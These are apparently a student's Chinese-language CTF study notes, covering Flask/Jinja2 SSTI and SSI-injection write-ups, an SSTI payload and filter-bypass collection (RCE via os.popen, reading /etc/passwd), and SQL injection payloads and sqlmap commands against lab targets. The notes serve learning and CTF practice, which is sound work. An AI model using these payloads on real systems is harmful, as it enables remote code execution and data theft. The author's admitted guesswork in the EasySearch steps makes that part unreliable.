得到信息是python的flask模板注入题，而且是python3.7

网上查找一些payload->[所用知识]

命令执行语句输入ls

文件读写app.py

文件读写gunicorn.conf.py

文件读写flag

获得flag{79f87b148dabb032623e5be9e10c1d0b}

///搜到的wp说命令执行cat flag也能拿到flag，是理解失误(?)输入错误(?)没有执行出来

[EasySearch]—CTFHub

题目开启

输入常用的用户名adminadmin 错误 //忘记截图了

扫一下路径发现index.php.swp //这边我用御剑扫了一下没扫到，，，

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content);  }     header("Content-Type: text/html;charset=utf-8"); ***     if(isset($_POST['username']) and $_POST['username'] != '' )     {         $admin = '6d0bc1';         if ( $admin == substr(md5($_POST['password']),0,6)) {             echo "<script>alert('[+] Welcome to manage system')</script>";             $file_shtml = "public/".get_hash().".shtml";             $shtml = fopen($file_shtml, "w") or die("Unable to open file!");             $text = '             ***             ***             <h1>Hello,'.$_POST['username'].'</h1>             *** ***';             fwrite($shtml,$text);             fclose($shtml);             *** echo "[!] Header  error ...";         } else {             echo "<script>alert('[!] Failed')</script>";                  }else     { ***     } *** ?>

审计

首先写个脚本让password前6个字符的md5值等于6d0bc1

//好的代码审计，，总感觉之前在哪里听过这个词

代码审计（Code audit）是一种以发现程序错误，安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析，旨在发现错误，安全漏洞或违反编程约定。
//啊大概是看一遍代码找一下哪里会出错（？
//代码审计又是一个好大的坑，哈哈，下面附一个学习链接

代码审计入门 - Oran9e - 博客园 (cnblogs.com)

1 2 3 4 5 6 7

import hashlib for i in range(10000000):     a = hashlib.md5(str(i).encode('utf-8')).hexdigest()     b = a[0:6]     if b == '6d0bc1':         print(i)         print(a)

//这里又涉及到哈希表和md5加密以及python 脚本大致能看懂 跑出来的结果如下

2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c

//三个分别试一下 发现第二个是正确的

2020666

2305004

抓包一下 抓包后发现头部有个url

Url_Is_Here ： public/a4409a9c9acd7132f486ad32021f4511ee74ba22.shtml

访问一下发现又是登录页面

然后看另一篇wp说这里有shtml漏洞

回到最开始的登录界面

payload:

1 2 3

POST username=<!--#exec cmd="ls ../"--> password=2020666

是一个ssi指令，ls命令用于显示指定工作目录下之内容（列出目前工作目录所含之文件及子目录)

password这里变成了之前脚本跑出来的第一个

利用SSI注入漏洞，可以在username变量中传入ssi语句来远程执行系统命令

1	<!--#exec cmd="命令"-->

ls当前目录

1	<!--#exec cmd="ls"-->

显示登录成功 再抓包进入隐藏url

访问获得flag

flag{4313ab7b-de35-4b56-916d-3a86aac19dff}

//啊但是这里为什么是flag套头的，，ctfhub的flag不是要用ctfhub套吗

//看了一会shtml回来后发现环境到期了，，，然后不知道系统抽什么风续期续不上，不愿再爱

//后面步骤嗯写的，，假设真的有这些东西并且搞出来了

[BJDCTF2020]EasySearch - 王叹之 - 博客园 (cnblogs.com)

[BJDCTF2020]EasySearch - beiwo - 博客园 (cnblogs.com)

有空看看这两篇wp，前面那个属于是虎头蛇尾了

[Flask]SSTI—BUUCTF

题目开启

试一下49说明有ssti漏洞存在

获取eval函数并执行任意python代码的POC：

//啊，，说实话不太清楚啥叫poc，以及这是干什么的
//Proof Of Concept的缩写。在黑客圈指：观点验证程序，运行程序可得出预期的结果，也就验证了观点

1 2 3 4 5 6 7 8 9 10 11

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("id").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

打印环境变量

1 2 3 4 5 6 7 8 9 10 11

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("env").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

总之输入以后显示结果如下，，得到了flag

flag{166b3d5f-c733-4265-abba-4a4189db8346}

[RootersCTF2019]I_<3_Flask—BUUCTF

题目开启

输一下49

好的，判定有ssti，判断发现是jinja2的模板，fuzz一下发现没有什么过滤，直接上RCE的

RCE英文全称：remote command/code execute
分为远程命令执行ping和远程代码执行evel。

payload：

1 2 3 4 5 6 7 8 9 10 11 12

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls").read()') }} //这里的ls就是需要的执行命令 {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

先ls列出目录：

I ♥ Flask & application.py flag.txt requirements.txt static templates

然后执行cat fl``a``g.t``x``t得到flag

flag{8a120b95-0230-405d-8e68-8ca1a4358f4c}

模板引擎(SST)

模板引擎（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，可以生成特定格式的文档，利用模板引擎来生成前端的html代码，模板引擎会提供一套生成html代码的程序，只需要获取用户的数据，放到渲染函数里，生成模板+用户数据的前端html页面，然后反馈给浏览器，呈现在用户面前

模板引擎也会提供沙箱机制来进行漏洞防范，但是可以用沙箱逃逸技术来进行绕过

SSTI

SSTI 就是服务器端模板注入（Server-Side Template Injection）

SST 信任了用户的输入，并且执行这些内容，包括执行本机函数，就像 eval 函数对传入的内容未加任何过滤一样。

因此模板注入很容易导致远程代码执行（RCE）、信息泄露等漏洞。

注入原理

使用 Twig 模版引擎渲染页面，其中模版含有 变量，其模版变量值来自于 GET 请求参数 $_GET[“name”]

Flask SSTI 题的基本思路：

利用 python 中的魔术方法找到自己要用的函数。

• __dict__：保存类实例或对象实例的属性变量键值对字典
• __class__：返回调用的参数类型
• __mro__：返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
• __bases__：返回类型列表
• __subclasses__：返回object的子类
• __init__：类的初始化方法
• __globals__：函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

  __base__和__mro__都是用来寻找基类的。

  基本流程

使用魔术方法进行函数解析，再获取基本类：

1 2 3 4 5

''.__class__.__mro__[2] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后，继续向下获取基本类 object 的子类：

1	object.__subclasses__()

找到重载过的__init__类（在获取初始化属性后，带 wrapper 的说明没有重载，寻找不带 warpper 的）：

1 2 3 4

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__ <slot wrapper '__init__' of 'object' objects> >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__ <unbound method WarningMessage.__init__>

查看其引用__builtins__
Python 程序一旦启动，它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入，它在任何模块都直接可见，所以这里直接调用引用的模块。

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回 dict 类型，寻找 keys 中可用函数，直接调用即可，使用 keys 中的 file 以实现读取文件的功能：

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

读写文件

读文件：

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

写文件：

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()

存在的子模块可以通过 .index() 来进行查询，如果存在的话返回索引，直接调用即可。
还有另外的方法：

1	[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

写文件换为 .write() 即可。

命令执行

1.利用eval 进行命令执行。

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

或者。。。

2.利用warnings.catch_warnings 进行命令执行。

首先，查看 warnings.catch_warnings 方法的位置：

1	[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

查看 linecatch 的位置：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')

查找 os 模块的位置：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')

查找 system 方法的位置：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')

调用 system 方法：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

3.利用 commands 进行命令执行。

1	{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

1	{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

1	{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

姿势集

1️⃣

可以获取当前设置，如果题目是这样的：

app.config [‘FLAG’] = os.environ.pop（’FLAG’）

可以直接访问 或者 得到 flag。

2️⃣

同样可以找到 config。

1	{{self.__dict__._TemplateReference__context.config}}

3️⃣
[]、()

1	{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

4️⃣
url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等

如果上面提到的 config、self 不能使用，要获取配置信息，就必须从它的全局变量（访问配置 current_app 等）。例如：

1 2 3

{{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

5️⃣
过滤了 []、.

pop() 函数用于移除列表中的一个元素（默认最后一个元素），并且返回该元素的值。

1	''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用 pop 函数并不会真的移除，但却能返回其值，取代中括号来实现绕过。
若.也被过滤，使用原生 JinJa2 函数 |attr()

即将 request.class 改成 request|attr(“class“)

6️⃣

过滤下划线 _

利用 request.args 的属性

1	{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的 request.args 改为 request.values，则利用 post 的方式进行传参。
GET:

1	{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

POST:

1	class=__class__&mro=__mro__&subclasses=__subclasses__

7️⃣
过滤引号 “

request.args 是 flask 中的一个属性，为返回请求的参数，这里把 path 当作变量名，将后面的路径传值进来，进而绕过了引号的过滤。

1	{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

8️⃣
一些关键字被过滤。

base64编码绕过

用于__getattribute__使用实例访问属性时。

例如，过滤掉 class 关键词

1	{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

1 2	{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}} {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

Burpsuite

具有功能：

Proxy——是一个拦截HTTP/S的代理服务器，作为一个在浏览器和目标应用程序之间的中间人，允许你拦截，查看，修改在两个方向上的原始数据流。
Spider——是一个应用智能感应的网络爬虫，它能完整的枚举应用程序的内容和功能。
Scanner[仅限专业版]——是一个高级的工具，执行后，它能自动地发现web 应用程序的安全漏洞。
Intruder——是一个定制的高度可配置的工具，对web应用程序进行自动化攻击，如：枚举标识符，收集有用的数据，以及使用fuzzing 技术探测常规漏洞。
Repeater——是一个靠手动操作来补发单独的HTTP 请求，并分析应用程序响应的工具。
Sequencer——是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder——是一个进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer——是一个实用的工具，通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”

burp suite使用教程（抓包，截包，改包）_baidu_36124158的博客-CSDN博客_burpsuite抓包教程

Tplmap

服务器端模板注入和代码注入检测与开发工具

一个 python 工具，可以通过使用沙箱转义技术找到代码注入和服务器端模板注入（SSTI）漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP、Ruby、JaveScript、Python、ERB、Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入，并具有执行远程命令的能力。

使用

获取：

https://github.com/epinna/tplmap

安装第三方依赖：

1	pip install -r requirements

Tplmap 可以利用文件系统的漏洞，还具有使用不同参数访问底层操作系统的能力
以下命令可用于测试目标URL中的易受攻击的参数

1	./tplmap.py -u <'目标网址'>

执行该命令后，该工具会针对多个插件测试目标 URL 以查找代码注入机会。

应用实例：

__class__

它可以用来查看变量所属的类

用命令行打开python

输入：''.__class__

输出：<class 'str'>，表明这是str类

依次输入().__class__,[].__class__,{}.__class__

输出：

str(字符串)、dict(字典)、tuple(元组)、list(列表)，这些类型的基类都是object，即它们都属于object，而object拥有众多的子类。

接下来看这个东西

__bases__

可以用来查看类的基类

后面加数组，表示使用数组索引来查看特定位置的值

__mro__

查看基类

__subclasses__()

查看当前类的子类

输入如下代码

1	''.__class__.__bases__[0].__subclasses__()

按编号查找类<class 'os._wrap_close'>时可以：

1	''.__class__.__bases__[0].__subclasses__()[138]

PS：不同版本的python类的编号不同

.init.globals

找os类下的init初始化类

然后globals全局来查找所有的方法及变量及参数。

1	''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__

此时我们可以看到各种各样的参数方法函数,找其中一个可利用的function popen来执行命令

1	''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()

最基本的东西就是这些，下面可以做一道简单的题来巩固一下上面这些命令

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

__class__            类的一个内置属性，表示实例对象的类 __base__             类型对象的直接基类 __bases__            类型对象的全部基类，以元组形式，类型的实例通常没有属性 __mro__              此属性是由类组成的元组，在方法解析期间会基于它来查找基类 __subclasses__()     返回这个类的子类集合，每个类都保存一个对其直接子类的弱引用列表。 此方法返回所有那些仍然存在的引用的列表。 该列表按定义顺序排列。 __init__             初始化类，返回的类型是function __globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__()   实例、类、函数都具有的__getattribute__魔术方法，在实例化的对象进行.操作的时候（形如：a.xxx/a.xxx()），都会自动去调用__getattribute__方法，因此可以直接通过这个方法来获取实例、类、函数的属性 __getitem__()        调用字典中的键值，其实就是调用这个魔术方法，比如a['b']，就是a.__getitem__('b') __builtins__         内建名称空间，内建名称空间有许多名字到对象之间映射，而这些名字其实就是内建函数的名称，对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了，百度都有。 __import__           动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__('os').popen('ls').read()] __str__()            返回描写这个对象的字符串，可以理解成就是打印出来。 url_for              flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app get_flashed_messages flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app。 lipsum               flask的一个方法，可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}} current_app          应用上下文，一个全局变量 request              可以用于获取字符串来绕过，包括下面这些，引用一下羽师傅的。此外，同样可以获取open函数: request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1    get传参 request.values.x1 所有参数 request.cookies      cookies参数 request.headers      请求头参数 request.form.x1    post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data  post传参 (Content-Type:a/b) request.json post传json  (Content-Type: application/json) config               当前application的所有配置。此外，也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

常用过滤器

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

int()：将值转换为int类型； float()：将值转换为float类型； lower()：将字符串转换为小写； upper()：将字符串转换为大写； title()：把值中的每个单词的首字母都转成大写； capitalize()：把变量值的首字母转成大写，其余字母转小写； trim()：截取字符串前面和后面的空白字符； wordcount()：计算一个长字符串中单词的个数； reverse()：字符串反转； replace(value,old,new)： 替换将old替换为new的字符串； truncate(value,length=255,killwords=False)：截取length长度的字符串； striptags()：删除字符串中所有的HTML标签，如果出现多个空格，将替换成一个空格； escape()或e：转义字符，会将<、>等符号转义成HTML中的符号。显例：content|escape或content|e。 safe()： 禁用HTML转义，如果开启了全局转义，那么safe过滤器会将变量关掉转义。示例： {{'<em>hello</em>'|safe}}； list()：将变量列成列表； string()：将变量转换成字符串； join()：将一个序列中的参数值拼接成字符串。示例看上面payload； abs()：返回一个数值的绝对值； first()：返回一个序列的第一个元素； last()：返回一个序列的最后一个元素； format(value,arags,*kwargs)：格式化字符串。比如：{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出：Helloo? - Foo! length()：返回一个序列或者字典的长度； sum()：返回列表内数值的和； sort()：返回排序后的列表； default(value,default_value,boolean=false)：如果当前变量没有值，则会使用参数中的值来代替。示例：name|default('xiaotuo')----如果name不存在，则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值，如果想使用python的形式判断是否为false，则可以传递boolean=true。也可以使用or来替换。 length()返回字符串的长度，别名是count

request具体参考Flask request 属性详解_爱人BT的博客-CSDN博客_flask request
比如查看一下os._wrap_close类所处空间下可使用的module,方法和变量,利用.keys()爆出这个dict的所有键名：

1	print(''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.keys())

判断模板的图

require() 和 eval() 函数

require() 函数会包含一个文件并执行

eval() 函数是将字符串当成代码来执行

参考链接

SSTI(模板注入)_xiaolong22333的博客-CSDN博客_ssti模板注入

CTFshow-WEB入门-SSTI_feng的博客-CSDN博客

flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)

SSTI(服务器模板注入)学习 - Lushun - 博客园 (cnblogs.com)

浅析SSTI(python沙盒绕过)_白帽子技术/思路_i春秋社区-分享你的技术，为安全加点温度. (ichunqiu.com)

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)

从一道题看Smarty_ssti | Cxlover’s blog (550532788.github.io)

关于flask的SSTI注入_Kr的博客-CSDN博客_flask ssti

Jinja2基本总结_Lin_Bolun的博客-CSDN博客

SSTI-服务端模板注入漏洞 - micr067 - 博客园 (cnblogs.com)

[pasecactf_2019]flask_ssti | Z3ratu1’s blog

代码审计入门 - Oran9e - 博客园 (cnblogs.com)

[分享]关于 fuzz 的 一点总结-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

大话FUZZ测试_JBlock的博客-CSDN博客_fuzz测试

从某篇文章搬的参考链接↓ 慢慢看

《flask之ssti模版注入从零到入门》

《SSTI(模板注入)》

《SSTI完全学习》

《flask ssti漏洞复现》

《SSTI(服务器模板注入)学习》

《CTF SSTI(服务器模板注入)》

《用python继承链搞事情》

《Python安全之SSTI——Flask/Jinja2》

《SSTI模板注入(Python+Jinja2)》

《SSTI Bypass 分析》

《flask之ssti模板注入》

《一篇文章带你理解漏洞之SSTI漏洞》

《SSTI模板注入》

 

最近新学了一手，，给图片加上边框显示起来应该会整齐一点

我重伤倒地

概念：

数据库

• 数据库是保存数据的仓库，存放在物理计算机上
• 借助sql来操作数据库
• sql按语法规范将所需数据组装后可与数据库交互
• 常见交互：数据的添加，修改，删除，查看
• 通过sql发出相对应的命令即可交互
• sql语句不需要针对不同操作系统进行修改

  SQL

SQL的两个解释

1. 微软的SQL Server，大型数据库系统软件，用于大批量数据存储管理
2. Structured Query Language（结构化查询语言）的缩写，使用最广的数据库语言

   SQL 分类

数据定义语言（DDL）

数据定义语言（Data Definition Language，DDL） 集中负责数据结构与数据库对象定义

主要功能：定义数据库对象

核心指令：CREATE、ALTER、DROP

数据操纵语言（DML）

数据操纵语言（Data Manipulation Language, DML）用于数据库操作，对数据库对象和数据运行访问工作的编程语句

主要功能：访问数据，因此其语法都是以读写数据库为主。

核心指令：INSERT、UPDATE、DELETE、SELECT四个指令合称 CRUD(Create, Read, Update, Delete)增删改查

事务控制语言（TCL）

事务控制语言 (Transaction Control Language, TCL) 用于管理数据库中的事务用于管理由 DML 语句所做的更改 允许将语句分组为逻辑事务

核心指令：COMMIT、ROLLBACK

数据控制语言（DCL）

数据控制语言 (Data Control Language, DCL) 控制数据访问权，可以控制特定用户账户对数据表、查看表、预存程序、用户自定义函数等数据库对象的控制权

核心指令：GRANT、REVOKE

主要功能：控制用户的访问权限，可利用 DCL 控制的权限有：CONNECT、SELECT、INSERT、UPDATE、DELETE、EXECUTE、USAGE、REFERENCES

根据不同的 DBMS 以及不同的安全性实体，其支持的权限控制也有所不同

SQL 语法要点

• 语句不区分大小写，但是数据库表名、列名和值是否区分，依赖于具体的 DBMS 以及配置

例如：SELECT与select、Select是相同的

• 多条语句必须以分号（;）分隔
• 处理 SQL 语句时，所有空格都被忽略SQL 语句可以写成一行，也可以分写为多行。

  1 2 3 4 5 6

  -- 一行 SQL 语句 UPDATE user SET username='robot', password='robot' WHERE username = 'root'; -- 多行 SQL 语句 UPDATE user SET username='robot', password='robot' WHERE username = 'root';

• SQL 支持三种注释

  1 2 3

  ## 注释1 -- 注释2 /* 注释3 */

  各类注入知识点

布尔盲注

布尔盲注详解_AaronLuo-CSDN博客_布尔盲注

↑↑↑我只能说这个写的太好了，讲话风格跟排版风格都很喜欢，，，整理过来大概也是照搬（

直接放链接了

sql注入基于布尔/时间的盲注详解_Sp4rkW的博客-CSDN博客_布尔注入

SQLmap

是一款基于python编写的渗透测试工具，在sql检测和利用方面功能强大，支持多种数据库

sqlmap解题步骤

1.查看数据库

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs  --batch

2.查看数据库里面的表

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch

3.查看数据库表里面的列

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns   --batch

4.查看数据库列里面的具体的值

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password     --dump  --batch

sqlmap常用命令

-h                                           显示基本帮助信息

-hh                                         显示高级帮助信息

–version                                显示版本号

-v                                           详细等级（0-6 默认 1）

                                              0：只显示python错误以及重要信息

                                              1：显示信息以及警告

                                              2：显示debug消息

                                              3：显示注入payload

                                              4：显示http请求

                                              5：显示http响应头·

                                              6：显示http响应内容
-u                                          指定目标url

-d                                          直接连接数据库

///sqlmap相当于一个搞注入的py脚本库(？猜的

相关资料

常用的SQL语句 - zhangzhenpeng - 博客园 (cnblogs.com)

12800字！SQL 语法速成手册 (qq.com)

常见SQL注入的方法 - 四季列车 - 博客园 (cnblogs.com)

有效防止SQL注入的5种方法总结_数据库其它_脚本之家 (jb51.net)

SQL注入原理以及预防方案_rennan…的博客-CSDN博客_sql注入原理

Ctfhub解题 web SQL注入(全部完整版)_一个平凡de人的博客-CSDN博客

ctfhub——web——sql注入(sqlmap实现)_金鳞本鲤的博客-CSDN博客

sql注入绕过方法总结_韦全敏的博客-CSDN博客_sql注入绕过

CTF中SQL注入常见题型整理_韦全敏的博客-CSDN博客_ctf sql注入

Sql注入——整数型和字符型_Xingmi_m的博客-CSDN博客

CTFHub_技能树_Web之SQL注入——报错注入（含三种解法）_东京没有下雨天-CSDN博客

CTFHub 报错注入_wind lin的博客-CSDN博客_ctfhub报错注入

CTFHub布尔盲注（新的payload)_wind lin的博客-CSDN博客_ctfhub 布尔盲注

SQL注入 基于布尔的盲注(less-5) - 简书 (jianshu.com)

CTF刷题总结（1）——简单的SQL注入_qq_45047250的博客-CSDN博客

CTFHUB-WEB-SQL注入-布尔盲注_老大的豆豆酱的博客-CSDN博客[Burp suite 爆破模块intruder]

[SQLMap安装_航少的博客-CSDN博客]

sqlmap详细使用教程_星落的博客-CSDN博客_sqlmap使用教程

CTFHub-web(sql时间盲注)_航少的博客-CSDN博客_ctfhub 时间盲注

题目示例：

1.整数型注入

[整数型注入]—ctfhub

手工(sqlmap待补充)

输入1输出正常

1	-1 union select 1,database()

查询数据库名称

1	-1 union select 1,version()

查询数据库版本

1 2 3

 -1 union select 1,group_concat(schema_name) from informations_schema.schemata

查询所有数据库名称

1 2 3

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1) 查当前数据第一个表名，之后依次增加 limit 查询剩余表名

或者一次性查询所有表名

1	-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

1 2	查询flag -1 union select 1,group_concat(flag) from sqli.flag

得到flag

///图是从ctfhub提供的wp里扣的(因为忘截图了，不想再花金币开

这个跟后面的比起来要短还能勉强看懂，，，，(只会用的程度///换个题就不会用了(大概率)

为什么为什么为什么要这样

为什么这么输可以出这种结果

显示结果的含义是什么

目前纯靠猜，，，

QWQ

每句话的含义是什么？？？？

以后慢慢注释补充

2.字符型注入

[字符型注入]—ctfhub

手工(sqlmap待补充)

///下面出现的123可替换成任意数据库中不存在的用户名

输入1输出正常,回显ID,Data

联合查询得到数据库

1	123' union select database(),2 #

查表 得到表名

1	123' union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli' #

查字段名 得到字段名

1	123' union select group_concat(column_name) ,3 from information_schema.columns where table_name='flag' #

查flag

1	123' union select flag,3 from sqli.flag #

得到flag

3.报错注入

[报错注入]—ctfhub

手工(sqlmap待补充)

查表名->报错->说明数据库下有多个表->用limit依次查找

1	?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询错误: Subquery returns more than 1 row

1	?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)

第二个表flag存有flag，这里拼接了一个1作为查询语句，因此要忽略
查询错误: Every derived table must have its own alias

查列名

1	?id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name="flag"),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询错误: Duplicate entry ‘flag1’ for key ‘group_key’

第二个表flag的列flag存有flag

查值

1 2 3

?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a) 查询错误: Duplicate entry 'ctfhub{8a213fb30ca8bc66650b5a93}1' for key 'group_key'

拿到flag

///这个解法为什么跟上面两个都不一样啊qwq，前面的都是直接输在框里，这个是用get(？是这个吧，之前做的get题也是要这样搞)

4.布尔盲注

[布尔盲注]—-ctfhub

sqlmap(手工待补充)

布尔盲注只返回成功与否

因手工盲注十分费力，改用sqlmap，

///但是sqlmap不会用qwq，我要哭哭惹

，，，上面那些是啥啊，，，说实话完全看不懂

只能说是整理了一下巨巨们的wp

sql注入是寄吧啥啊，神经病

先码一下步骤

1 2 3 4

1.猜数据库名长度: x是某个值，用>x或<x也可 ’ and length (database())=x--+ 2.猜数据库名（任何系统函数可以知道的内容，例如Mysql、操作系统版本号等）： ’ and left(database(),1)=’s’--+

3.获取数据库下的表：

1 2 3 4 5

' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101--+ 4.获取表里的列名： ' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+ 5.获取表里列的内容：x是错误返回值，只要不要给对的值，加啥都可 ' and ord(mid((select ifnull(cast(username as char),x)from security.users order by id limit 0,1),1,1))=68--+

///盲注如果用手工需要太长时间了，，也可以用py写脚本，但那是另外一回事了

5.时间盲注

无任何返回值，需要通过页面恢复响应时间判断

[时间盲注]—-ctfhub

6.无列名注入

7.空格过滤型

8.各种过滤型的绕过

///先到这里吧

深刻体会到什么叫大跃进式学习了

最近一直在赶路，，，好累

晚安zzZZZ

❤点击❤链接❤
神秘网站
开启新世界


铸币吧这事